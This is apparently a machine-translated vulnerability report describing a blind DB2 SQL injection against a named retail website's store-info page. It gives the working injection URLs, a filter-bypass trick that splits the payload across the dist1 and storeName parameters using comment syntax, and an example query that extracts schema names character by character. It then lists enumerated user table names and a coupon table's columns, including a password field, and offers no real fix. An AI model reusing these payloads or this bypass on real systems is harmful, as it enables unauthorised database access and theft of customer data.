Suning Tesco DB2 blind note

Initial access:
Https://www.suning.com/emall/SNNetStoreView? StoreId = 11554 & catalogId = 10654 & langId =-7 & from = index & storeType = 0 & storeName = & reqProvince = & reqCity =
 
Injection address:
Https://www.suning.com/emall/SNNetStoreInfoView? CityId1 = 9137 & dist1 = aa % 27or % 201 = 1/* & storeName = */--
 
Injection Parameters: dist1 and storeName are combined to bypass SQL Injection Protection.
 
For example:
Https://www.suning.com/emall/SNNetStoreInfoView? CityId1 = 9137 & storeName = */from % 20syscat. schemata % 20 fetch % 20 first % 201% 20 rows % 20 only % 29,1, 1% 29% 29% 3E10 -- & dist1 = aa % 27or % 20 ascii % 28 SUBSTR % 28% 28 select % 20 schemaname /*
 
 
 
I don't know if the user name is no longer in use. Blind injection leads to slow guesses. The following are some simple tables.
 
 
Proof of vulnerability: blind guesses:
'Advise _ Index', 'advise _ workload', 'dmuserbhvr ', 'gruserauth', 'ordusers', 'userdemo', 'userlock', 'userprop', 'userpvdev ', 'userpwdhst', 'userreg ', 'users', 'user _ Qa', 'xactjoinuser', 'xgpuserrel', 'xipusers', 'xmembercardusers', 'xrouletteusercount ', 'xrouletusers', 'xseckilluserrel ', 'xsendusers', 'xsendusers _ Bak', 'xsmartusercount', 'xtmpusers', 'xusergrade', 'xusergradeconf', 'xuserprefer ', 'zst _ user', 'zst _ user_role', 'useroptions', 'sysuserauth ', 'sysuseroptions'
 
Table: XCOUPON (coupon)
'Chargedate', 'code', 'coupongroup _ id', 'coupontmp _ id', 'coupon _ id', 'coupon _ no', 'coupon _ type ', 'created _ by', 'created _ date', 'delimiterdat', 'description', 'enddate', 'field1', 'field2', 'field3 ', 'Last _ updated', 'level', 'markfordelete', 'name', 'note', 'optcounter ', 'Orders _ id', 'par _ value ', 'Password', 'remainingamount', 'serialnumber', 'source _ id', 'source _ type', 'startdate', 'status', 'updated _ ', 'users _ id'
 
 
Solution:
 
You know!